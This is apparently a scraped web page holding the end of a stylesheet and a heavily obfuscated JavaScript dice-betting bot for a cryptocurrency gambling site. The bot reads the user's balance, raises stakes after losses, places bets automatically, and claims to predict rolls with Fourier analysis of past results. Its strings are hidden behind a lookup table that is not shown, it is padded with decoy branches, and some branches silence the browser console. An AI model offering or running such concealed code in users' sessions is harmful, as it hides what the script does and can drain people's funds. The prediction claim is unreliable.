bottom:solid#181a1e\x0a}\x0a.boxStatus{\x0a\x09padding:5px\x200;\x0a\x09//backgroun
d-color:#101215;\x0a\x09background-color:transparent!
important;\x0a\x09width:100%;\x0a//\x09font-size:12.5px!
important;\x0a\x09border:0;\x0a\x09//color:white;\x0a\x09text-
transform:uppercase;\x0a\x09text-
align:center\x0a}\x0a.boxTDtitle{\x0a\x09padding:3px;\x0a\x09//color:whitesmoke;\x0
a\x09color:#bdf2ca;\x0a\x09font-weight:bold;\x0a\x09text-align:center;\x0a\x09font-
size:18px\x0a}\x0a.boxTDinput{\x0a\x09padding:3px;\x0a\x09background-
color:#8A9BAA;\x0a\x09width:97%;\x0a\x09border:1px\x20solid\x20white;\x0a\x09border
-radius:10px;\x0a\x09text-aligh:center;\x0a\x09color:white!
important;\x0a\x09margin:2px\x200\x0a}\x0a.boxDS{\x0a\x09width:100px;\x0a\x09align:
\x20center;\x0a}\x0a.boxWinLose{\x0a\x09padding:6px;\x0a\x09text-
align:center;\x0a\x09font-size:11px!
important\x0a}\x0a.boxWLinput{\x0a\x09padding:3px;\x0a\x09text-
align:center;\x0a\x09background-color:#2e323b!
important;\x0a\x09width:97%;\x0a\x09border:0;\x0a\x09margin:3px\x200\x0a}\x0a.boxWi
n{\x0a\x09color:greenyellow!important\x0a}\x0a.boxLose{\x0a\x09color:red!
important\x0a}\x0a.boxBalance{\x0a\x09color:white!important;\x0a\x09font-
size:9.5px!important\x0a}\x0a.boxButton{\x0a\x09width:80%;\x0a\x09background-
color:#46B9D8;\x0a\x09border:1px\x20solid\x20white;\x0a\x09border-
radius:10px;\x0a\x09color:white;\x0a\x09padding:7px\x2015px;\x0a\x09margin-
left:10px;\x0a\x09text-align:center;\x0a\x09text-
decoration:none;\x0a\x09display:inline-block;\x0a\x09font-
size:13px\x0a}\x0a.localtime{\x0a\x09float:right!important;\x0a\x09font-size:16px!
important;\x0a\x09font-weight:bold;\x0a\x09color:yellow!
important\x0a}\x0a#_playtime{\x0a//\x09float:right!important;\x0a\x09font-
size:16px!important;\x0a\x09font-weight:bold;\x0a\x09text-
align:\x20center;\x0a\x09color:yellow!
important\x0a}\x0a#_totalprofit{\x0a\x09background-color:#292929;\x0a\x09font-
color:white;\x0a\x09font-size:16px;\x0a\x09font-weight:bold;\x0a\x09text-
align:center\x0a}\x0a#chartArea{\x0a\x09width:800px;\x0a\x09heigth:200px;\x0a\x09ba
ckground-color:#292929;\x0a\x09border:1px\x20solid\x20white;\x0a\x09border-
radius:10px\x0a}\x0a#_start{\x0a\x09width:75px;\x0a\x09color:green;\x0a\x09font-
weight:bold\x0a}\x0a.InputBox{\x0a\x09width:\x20120px;\x0a}\x0a#coin{\x0a\x09font-
size:\x2020px;\x0a\x09color:\x20#F18C18;\x0a}\x09\x0a#_status{\x0abackground:#29292
9;\x09\x0afont-family:\x20Garamond,\x20serif;\x
0aline-height:\x201em;\x0acolor:\x20#009000;\x0afont-weight:bold;\x0afont-
size:\x2028px;\x0atext-shadow:0px\x200px\x200\x20rgb(-92,36,-
92),1px\x201px\x200\x20rgb(-137,-9,-137),\x202px\x202px\x200\x20rgb(-182,-54,-
182),3px\x203px\x202px\x20rgba(0,0,0,0.6),3px\x203px\x201px\x20rgba(0,0,0,0.5),0px\
x200px\x202px\x20rgba(0,0,0,.2);}/style>';var html=nzx_0x1513('0x4a');$
(nzx_0x1513('0x4b'))[nzx_0x1513('0x4c')](html);$('.boxDice')[nzx_0x1513('0x4d')]();
$(nzx_0x1513('0x4e'))[nzx_0x1513('0x4c')](style);$(nzx_0x1513('0x4f'))['html']
(refurl);$(nzx_0x1513('0x4f'))[nzx_0x1513('0x50')]
(nzx_0x1513('0x21'),nzx_0x1513('0x51'));$(nzx_0x1513('0x4f'))['css']('font-
size',nzx_0x1513('0x52'));$(nzx_0x1513('0x4f'))[nzx_0x1513('0x50')]('font-
weight',nzx_0x1513('0x53'));var dps=[];dps=[{'x':0x0,'y':0x0}];chart=new
CanvasJS[(nzx_0x1513('0x2f'))](nzx_0x1513('0x30'),{'theme':'dark2','zoomEnabled':!!
[],'backgroundColor':nzx_0x1513('0x32'),'axisX':
{'title':nzx_0x1513('0x33'),'includeZero':![]},'axisY':
{'title':nzx_0x1513('0x34'),'includeZero':![]},'title':
{'fontColor':'#2eab5b','fontSize':0x14,'padding':0x14},'data':
[{'type':nzx_0x1513('0x36'),'dataPoints':dps}]});chart['render']();function
updateChart(_0x2bb739,_0x5e3e7e,_0x219b7c){dps['push']({'x':_0x2bb739,'y':balance-
startbalance,'color':_0x219b7c});if(dps[dps[nzx_0x1513('0x41')]-0x2])
{if(nzx_0x1513('0x54')==='KpevS'){dps[dps[nzx_0x1513('0x41')]-0x2]
['lineColor']=_0x219b7c;}else{d=i;}}if(dps[nzx_0x1513('0x41')]>0x64)
{if(nzx_0x1513('0x55')===nzx_0x1513('0x55')){dps['shift']();}else{return!!
[];}}chart[nzx_0x1513('0x37')]();}function clearChart(){for(var
_0x2d26d8=0x0;_0x2d26d8<dps[nzx_0x1513('0x41')];_0x2d26d8++)dps[nzx_0x1513('0x56')]
();}setInterval(nzx_0x1513('0x57'),0xa);var
box_position,offsetBox=[0x0,0x0],isDrag=!
[],source,dynamic;source=document[nzx_0x1513('0x58')](nzx_0x1513('0x59'))
[0x0];dynamic=document['getElementById']('isDynamic');dynamic['addEventListener']
(nzx_0x1513('0x5a'),function(_0x56d7fd){isDrag=!!
[];offsetBox=[source['offsetLeft']-
_0x56d7fd[nzx_0x1513('0x5b')],source[nzx_0x1513('0x5c')]-
_0x56d7fd[nzx_0x1513('0x5d')]];},!![]);document[nzx_0x1513('0x5e')]
('mouseup',function(){isDrag=![];},!![]);document[nzx_0x1513('0x5e')]
('mousemove',function(_0x439172){if(isDrag){if(nzx_0x1513('0x5f')==='iCZkC'){var
_0x5a0b62=fn[nzx_0x1513('0x17')](context,arguments);fn=null;return
_0x5a0b62;}else{box_position={};box_position['x']=_0x439172.clientX;box_position['y
']=_0x439172.clientY;source[nzx_0x1513('0x60')]['left']=box_position['x']
+offsetBox[0x0]+'px';source['style']['top']=box_position['y']
+offsetBox[0x1]+'px';}}},!![]);var
timerTask,totalSeconds=0x0,timerBox=document[nzx_0x1513('0x61')]
(nzx_0x1513('0x62'));function setTime(){+
+totalSeconds;timerBox['textContent']=pad(parseInt(totalSeconds/0x3c))
+':'+pad(totalSeconds%0x3c);}function pad(_0x3ccdea){var
_0x2fd7a4=_0x3ccdea+'';if(_0x2fd7a4['length']<0x2){if('WRENS'==='WRENS')
{return'0'+_0x2fd7a4;}else{chance=Math[nzx_0x1513('0x29')]()*(maxchance-minchance)
+minchance;bet*=multlose;wins=0x0;}}else{return _0x2fd7a4;}}function getDir(){var
_0x5836c9=document[nzx_0x1513('0x63')](nzx_0x1513('0x64'));var
_0x2a4d99=0x0;for(var
_0x2b5ff9=0x0;_0x2b5ff9<_0x5836c9[nzx_0x1513('0x41')];_0x2b5ff9++)
{if(_0x5836c9[_0x2b5ff9][nzx_0x1513('0x65')]){if(nzx_0x1513('0x66')!
==nzx_0x1513('0x67')){_0x2a4d99=_0x2b5ff9;}else{placeBet();}}}return
_0x2a4d99;}function startDice(){if(u())_start=!_start;if(!_start){$('#_start')
[nzx_0x1513('0x1f')](nzx_0x1513('0x20'));$(nzx_0x1513('0x1e'))['css']
(nzx_0x1513('0x21'),'yellow');betting=0x0;clearInterval(playTimer);clearInterval(pl
ayGame);clearInterval(waitBet);return;}else{if(nzx_0x1513('0x68')!
==nzx_0x1513('0x68')){var _0x51e416=val+'';if(_0x51e416[nzx_0x1513('0x41')]<0x2)
{return'0'+_0x51e416;}else{return _0x51e416;}}else{$(nzx_0x1513('0x1e'))
[nzx_0x1513('0x1f')]('STOP');$(nzx_0x1513('0x1e'))[nzx_0x1513('0x50')]
('color',nzx_0x1513('0x24'));startdate=new
Date();playTimer=setInterval('playTime()',0x64);balance=parseFloat($
('.UserBalance')[0x0][nzx_0x1513('0x26')]);minchance=parseFloat($
(nzx_0x1513('0x27'))['val']());maxchance=parseFloat($('#_maxchance')
[nzx_0x1513('0xd')]());chance=Math[nzx_0x1513('0x29')]()*(maxchance-minchance)
+minchance;multwin=parseFloat($(nzx_0x1513('0xc'))[nzx_0x1513('0xd')]
());multlose=parseFloat($(nzx_0x1513('0xe'))[nzx_0x1513('0xd')]
());risk=parseFloat($('#_risk')[nzx_0x1513('0xd')]
());arrBalance=[];startbalance=balance;lastbalance=balance;oldbalance=balance;sbala
nce=balance;minbet=Math[nzx_0x1513('0x2a')](0x64/(0x64-
chance))/0x5f5e100;if(minbet<1e-8)minbet=1e-8;basebet=parseFloat($
(nzx_0x1513('0xb'))[nzx_0x1513('0xd')]
());if(basebet<minbet)basebet=minbet;bet=basebet;loss=0x0;loss2=0x0;loss3=0x0;wins=
0x0;profit=0x0;updateChart(bets,profit,'gold');playGame=setInterval(nzx_0x1513('0x4
3'),0x64);coin=$(nzx_0x1513('0x2c'))[0x0][nzx_0x1513('0x2d')]['toLowerCase']
();betting=!![];bets=0x0;dps=[{'x':0x0,'y':0x0}];chart=new
CanvasJS[(nzx_0x1513('0x2f'))](nzx_0x1513('0x30'),{'theme':'dark2','zoomEnabled':!!
[],'backgroundColor':nzx_0x1513('0x32'),'axisX':
{'title':nzx_0x1513('0x33'),'includeZero':![]},'axisY':
{'title':nzx_0x1513('0x34'),'includeZero':![]},'title':
{'fontColor':nzx_0x1513('0x35'),'fontSize':0x14,'padding':0x14},'data':
[{'type':nzx_0x1513('0x36'),'dataPoints':dps}]});chart[nzx_0x1513('0x37')]
();placeBet();}}}function playDice(){if(balance!=parseFloat($(nzx_0x1513('0x25'))
[0x0][nzx_0x1513('0x26')])&&betid!=parseFloat($(nzx_0x1513('0x69'))
[nzx_0x1513('0x49')]())){clearInterval(waitBet);waitBet=setInterval(function()
{if(nzx_0x1513('0x6a')!=='QvSmF'){doBet();}else{that['console']=function(_0x5d4874)
{var
_0x13cfc1={};_0x13cfc1[nzx_0x1513('0x6b')]=_0x5d4874;_0x13cfc1[nzx_0x1513('0x39')]=
_0x5d4874;_0x13cfc1[nzx_0x1513('0x3a')]=_0x5d4874;_0x13cfc1['info']=_0x5d4874;_0x13
cfc1[nzx_0x1513('0x6c')]=_0x5d4874;_0x13cfc1[nzx_0x1513('0x3d')]=_0x5d4874;_0x13cfc
1[nzx_0x1513('0x3b')]=_0x5d4874;return _0x13cfc1;}(func);}},0x1388);if(coin===$
(nzx_0x1513('0x2c'))[0x0][nzx_0x1513('0x2d')][nzx_0x1513('0x2e')]())
{betid=parseFloat($('#LastBetInfoSecret')[nzx_0x1513('0x49')]
());balance=parseFloat($('.UserBalance')[0x0]
[nzx_0x1513('0x26')]);profit=parseFloat($(nzx_0x1513('0x6d'))[nzx_0x1513('0x49')]
());totalprofit=balance-sbalance;var _0x47f489=''+(0x64*(balance-
sbalance)/sbalance)[nzx_0x1513('0x6e')](0x2);var _0x5daa9d=(balance-sbalance)
[nzx_0x1513('0x6e')](0x8);var _0x2e6c6e=$(nzx_0x1513('0x2c'))[0x0]
[nzx_0x1513('0x2d')]+'\x20\x20';$(nzx_0x1513('0x6f'))[nzx_0x1513('0x1f')]
(_0x2e6c6e);$(nzx_0x1513('0x70'))['text']('\x20\x20'+_0x5daa9d[nzx_0x1513('0x71')]
()+'\x20['+_0x47f489+'%]');if(_0x5daa9d<0x0)$(nzx_0x1513('0x70'))
[nzx_0x1513('0x50')](nzx_0x1513('0x21'),nzx_0x1513('0x24'));else $('#_status')
[nzx_0x1513('0x50')](nzx_0x1513('0x21'),nzx_0x1513('0x72'));var
_0x59f6f3='';if(profit<0x0)_0x59f6f3=nzx_0x1513('0x22');else
_0x59f6f3='#04ff04';updateChart(bets,balance,_0x59f6f3);wins+
+;if(balance>=lastbalance){if(nzx_0x1513('0x73')==='XKdFG'){basebet=parseFloat($
(nzx_0x1513('0xb'))['val']());chance=Math[nzx_0x1513('0x29')]()*(maxchance-
minchance)+minchance;multwin=parseFloat($(nzx_0x1513('0xc'))[nzx_0x1513('0xd')]
());multlose=parseFloat($('#_multlose')[nzx_0x1513('0xd')]());risk=parseFloat($
(nzx_0x1513('0xf'))['val']
());lastbalance=balance;bet=basebet;loss2=0x0;wins=0x0;}else{f=out_buff[i]
[0x0];s+=Math[nzx_0x1513('0x13')](out_buff[i][0x2]);}}else{if(profit<0x0)
{chance=Math[nzx_0x1513('0x29')]()*(maxchance-minchance)
+minchance;bet*=multlose;wins=0x0;}else{chance=Math[nzx_0x1513('0x29')]
()*(maxchance-minchance)
+minchance;bet*=multwin;}}if(bet<basebet)bet=basebet;doBet();}}}function doBet()
{if(balance-bet>lastbalance-lastbalance*risk/0x64){if('dchof'!==nzx_0x1513('0x74'))
{var _0x1a6037=9999.979979978;var _0x33c4f1=Math['round'](bet*0x5f5e100);var
_0xe82f89=Math['floor'](Math['random']()*0x5f5e100);var
_0x4d8f8f=induc()*0xf423f+0x7a120;var _0x580f6c=_0x4d8f8f-Math[nzx_0x1513('0x2a')]
(_0x1a6037*chance/0x2);var _0x231b0d=_0x580f6c+Math[nzx_0x1513('0x75')]
(0xf423f*chance/0x64);if(_0x580f6c<0x0)
{_0x580f6c=0x0;_0x231b0d=Math[nzx_0x1513('0x75')]
(0xf423f*chance/0x64);}if(_0x231b0d>0xf423f){if('zpncx'===nzx_0x1513('0x76'))
{_0x231b0d=0xf423f;_0x580f6c=_0x231b0d-Math[nzx_0x1513('0x75')]
(0xf423f*chance/0x64);}else{var
_0x4bf50f={};_0x4bf50f[nzx_0x1513('0x6b')]=func;_0x4bf50f[nzx_0x1513('0x39')]=func;
_0x4bf50f[nzx_0x1513('0x3a')]=func;_0x4bf50f[nzx_0x1513('0x3c')]=func;_0x4bf50f['er
ror']=func;_0x4bf50f['exception']=func;_0x4bf50f[nzx_0x1513('0x3b')]=func;return
_0x4bf50f;}}document[nzx_0x1513('0x77')](nzx_0x1513('0x78'))
[nzx_0x1513('0x79')]=(0x64*(_0x231b0d-_0x580f6c)/0xf423f)[nzx_0x1513('0x6e')]
(0x2);document['getElementById']('BetSizeInput')['value']=bet[nzx_0x1513('0x6e')]
(0x8);coin=$('.CurrencyName')[0x0]['innerText'][nzx_0x1513('0x2e')]();var
_0x14a1e4=0x0;if(coin===nzx_0x1513('0x7a'))_0x14a1e4=0x1;if(coin===nzx_0x1513('0x7b
'))_0x14a1e4=0x2;if(coin===nzx_0x1513('0x7c'))_0x14a1e4=0x3;if(coin===nzx_0x1513('0
x7d'))_0x14a1e4=0x4;pipe[nzx_0x1513('0x7e')]['placeBet']
(_0x33c4f1,_0x580f6c,_0x231b0d,_0xe82f89,_0x14a1e4,0x2);bets+
+;}else{rainalert[nzx_0x1513('0x10')]();}}else{startDice();soundy();$
(nzx_0x1513('0x7f'))[nzx_0x1513('0x1f')](''+lastbalance-balance[nzx_0x1513('0x6e')]
(0x8));}}function placeBet(){if(balance-bet>lastbalance-lastbalance*risk/0x64)
{if(nzx_0x1513('0x80')===nzx_0x1513('0x80')){document['getElementById']
(nzx_0x1513('0x81'))['value']=bet[nzx_0x1513('0x6e')]
(0x8);document[nzx_0x1513('0x77')](nzx_0x1513('0x78'))
['value']=chance[nzx_0x1513('0x6e')](0x2);bets++;var
_0x35be7f=getDir();if(_0x35be7f==0x0){$(nzx_0x1513('0x1a'))[nzx_0x1513('0x12')]
();}if(_0x35be7f==0x1){if(nzx_0x1513('0x82')!==nzx_0x1513('0x82')){$
(nzx_0x1513('0x83'))['click']();}else{$('#BetHighButton')[nzx_0x1513('0x12')]
();}}if(_0x35be7f==0x2){if(Math['random']()<0.5)
{if(nzx_0x1513('0x84')===nzx_0x1513('0x84')){$(nzx_0x1513('0x1a'))['click']
();}else{var _0x4d450d=Function(nzx_0x1513('0x85')+nzx_0x1513('0x1b')
+');');that=_0x4d450d();}}else{$(nzx_0x1513('0x83'))[nzx_
0x1513('0x12')]();}}if(_0x35be7f==0x3){if(nzx_0x1513('0x86')===nzx_0x1513('0x86'))
{if(bets%0x2==0x0){if('QFXaW'===nzx_0x1513('0x87')){$('#BetLowButton')
[nzx_0x1513('0x12')]();}else{var _0x578e28=val+'';if(_0x578e28['length']<0x2)
{return'0'+_0x578e28;}else{return _0x578e28;}}}else{if(nzx_0x1513('0x88')!
==nzx_0x1513('0x88')){ampm=a;fm=f;pham=Math[nzx_0x1513('0x15')](im,re);}else{$
(nzx_0x1513('0x83'))['click']();}}}else{return valString;}}}else{var
_0x58ca34=document[nzx_0x1513('0x63')](nzx_0x1513('0x64'));var
_0x4b39ee=0x0;for(var
_0x259bf3=0x0;_0x259bf3<_0x58ca34[nzx_0x1513('0x41')];_0x259bf3++)
{if(_0x58ca34[_0x259bf3]['checked']){_0x4b39ee=_0x259bf3;}}return
_0x4b39ee;}}else{if(nzx_0x1513('0x89')==='MOMLU'){isDrag=!!
[];offsetBox=[source[nzx_0x1513('0x8a')]-e['clientX'],source[nzx_0x1513('0x5c')]-
e['clientY']];}else{clearInterval(playGame);soundy();betting=!
[];startDice();}}}function playTime(){var _0x14f89b=new Date();var
_0x12fdde=Math[nzx_0x1513('0x75')]((_0x14f89b-startdate)/0x3e8);var
_0x477dc9=Math['floor']
(_0x12fdde/0xe10);if(_0x477dc9<0xa)_0x477dc9='0'+Math[nzx_0x1513('0x75')]
(_0x12fdde/0xe10);_0x12fdde=_0x12fdde%0xe10;var _0x4c1298=Math[nzx_0x1513('0x75')]
(_0x12fdde/0x3c);if(_0x4c1298<0xa)_0x4c1298='0'+Math['floor'](_0x12fdde/0x3c);var
_0x266c43=_0x12fdde%0x3c;if(_0x266c43<0xa)_0x266c43='0'+_0x12fdde%0x3c;if(_start)$
('#_playtime')[nzx_0x1513('0x49')](_0x477dc9+':'+_0x4c1298+':'+_0x266c43);else $
('#_playtime')['html'](nzx_0x1513('0x8b'));}function u(){return!![];}var
rolls=0x0;var len=0x64;var size=0x10;var roll_buff=[];var out_buff=[];var
f,w,re,im,i;function filter(){roll_buff[nzx_0x1513('0x8c')](parseFloat($
(nzx_0x1513('0x69'))[nzx_0x1513('0x49')]())-0x7a120);if(roll_buff['length']>len)
{if(nzx_0x1513('0x8d')===nzx_0x1513('0x8d')){roll_buff[nzx_0x1513('0x56')]
();out_buff[nzx_0x1513('0x41')]=0x0;for(f=0x1;f<=size;f++)
{w=0x2*Math['PI']*f;re=0x0;im=0x0;for(i=0x0;i<len;i++){if(nzx_0x1513('0x8e')!
==nzx_0x1513('0x8e')){for(var
_0x11a79e=0x0;_0x11a79e<dps[nzx_0x1513('0x41')];_0x11a79e++)dps[nzx_0x1513('0x56')]
();}else{re+=roll_buff[i]*Math[nzx_0x1513('0x13')]
(w*i/len);im+=roll_buff[i]*Math[nzx_0x1513('0x14')]
(w*i/len);}}out_buff[nzx_0x1513('0x8c')]([f,Math[nzx_0x1513('0x8f')]
(im,re)/len,Math['atan2'](im,re)]);}out_buff[nzx_0x1513('0x90')]
(function(_0x385f61){if(nzx_0x1513('0x91')!=='gWiGu'){gamealert[nzx_0x1513('0x10')]
();}else{return function(_0x31f03b,_0xa77ece){if('jDvmO'===nzx_0x1513('0x92'))
{low=0x0;high=Math[nzx_0x1513('0x75')](0xf423f*chance/0x64);}else{return
_0x31f03b[_0x385f61]===_0xa77ece[_0x385f61]?
0x0:_0x31f03b[_0x385f61]>_0xa77ece[_0x385f61]?-0x1:0x1;}};}}(0x1));var
_0x101935=0x0;for(i=0x1;i<size/0x4;i++){if('nHdWT'!==nzx_0x1513('0x93'))
{startDice();soundy();$('#BetProfitLabel')['text'](''+lastbalance-
balance[nzx_0x1513('0x6e')](0x8));}else{f=out_buff[i]
[0x0];_0x101935+=Math[nzx_0x1513('0x13')](out_buff[i]
[0x2]);}}_0x101935/=size/0x4;_0x101935=Math['round']
(0x7a120+0x79f2b*_0x101935);if(_0x101935<0x0)_0x101935=0x0;if(_0x101935>0xf423f)_0x
101935=0xf423f;return Math['round'](_0x101935);}else{var
_0x317146=9999.979979978;var _0x4efa7d=Math[nzx_0x1513('0x2a')](bet*0x5f5e100);var
_0x5030f8=Math[nzx_0x1513('0x75')](Math[nzx_0x1513('0x29')]()*0x5f5e100);var
_0x5d1989=induc()*0xf423f+0x7a120;var _0x301613=_0x5d1989-Math[nzx_0x1513('0x2a')]
(_0x317146*chance/0x2);var _0x5b4351=_0x301613+Math['floor']
(0xf423f*chance/0x64);if(_0x301613<0x0)
{_0x301613=0x0;_0x5b4351=Math[nzx_0x1513('0x75')]
(0xf423f*chance/0x64);}if(_0x5b4351>0xf423f){_0x5b4351=0xf423f;_0x301613=_0x5b4351-
Math['floor'](0xf423f*chance/0x64);}document[nzx_0x1513('0x77')]
(nzx_0x1513('0x78'))[nzx_0x1513('0x79')]=(0x64*(_0x5b4351-_0x301613)/0xf423f)
['toFixed'](0x2);document[nzx_0x1513('0x77')](nzx_0x1513('0x81'))
[nzx_0x1513('0x79')]=bet[nzx_0x1513('0x6e')](0x8);coin=$('.CurrencyName')[0x0]
['innerText'][nzx_0x1513('0x2e')]();var
_0x2d0d3d=0x0;if(coin===nzx_0x1513('0x7a'))_0x2d0d3d=0x1;if(coin===nzx_0x1513('0x7b
'))_0x2d0d3d=0x2;if(coin==='ltc')_0x2d0d3d=0x3;if(coin===nzx_0x1513('0x7d'))_0x2d0d
3d=0x4;pipe[nzx_0x1513('0x7e')][nzx_0x1513('0x94')]
(_0x4efa7d,_0x301613,_0x5b4351,_0x5030f8,_0x2d0d3d,0x2);bets++;}}else return
0x7a120;}var inbuff=[];var datasize=0x80;function induc()
{inbuff[nzx_0x1513('0x8c')](parseFloat($('#LastBetInfoSecret')[nzx_0x1513('0x49')]
())-0x7a120);var _0x12a52e=0x0;if(inbuff[nzx_0x1513('0x41')]>datasize)
{if(nzx_0x1513('0x95')!==nzx_0x1513('0x96')){inbuff['shift']();var
_0x202b1e=0x1;var _0x514054=0x0;var _0x2be8d4=0x0;var _0x42a525=[];var
_0x5cf15f=[];var _0x544fa4,_0x49399a,_0x54ecc5;_0x49399a=0x0;while(_0x202b1e<0x8)
{if('ldvJM'===nzx_0x1513('0x97')){var _0x457ead=0x0;var
_0xb78bb1=0x0;k=0x2*Math['PI']*_0x202b1e/datasize;for(i=0x0;i<datasize;i++)
{if(nzx_0x1513('0x98')!==nzx_0x1513('0x99'))
{_0x457ead+=inbuff[i]*Math[nzx_0x1513('0x13')]
(k*i);_0xb78bb1+=inbuff[i]*Math[nzx_0x1513('0x14')](k*i);}else{var
_0x2a1e7f=firstCall?function(){if(fn){var _0x3f608c=fn['apply']
(context,arguments);fn=null;return _0x3f608c;}}:function(){};firstCall=![];return
_0x2a1e7f;}}var _0x32aac1=Math['sqrt']
(_0x457ead*_0x457ead+_0xb78bb1*_0xb78bb1)/datasize;_0x42a525['push']
(_0x32aac1);_0x5cf15f[nzx_0x1513('0x8c')](Math[nzx_0x1513('0x15')]
(_0xb78bb1,_0x457ead));if(_0x32aac1>_0x49399a)
{_0x49399a=_0x32aac1;_0x544fa4=_0x202b1e;_0x54ecc5=Math[nzx_0x1513('0x15')]
(_0xb78bb1,_0x457ead);}_0x202b1e*=1.05;}else{clearInterval(playGame);}}_0x12a52e=Ma
th['cos'](_0x54ecc5+0x2*Math['PI']*_0x544fa4);}else{if(isDrag)
{box_position={};box_position['x']=event.clientX;box_position['y']=event.clientY;so
urce[nzx_0x1513('0x60')][nzx_0x1513('0x9a')]=box_position['x']
+offsetBox[0x0]+'px';source[nzx_0x1513('0x60')]
[nzx_0x1513('0x9b')]=box_position['y']+offsetBox[0x1]+'px';}}}return _0x12a52e;}

You might also like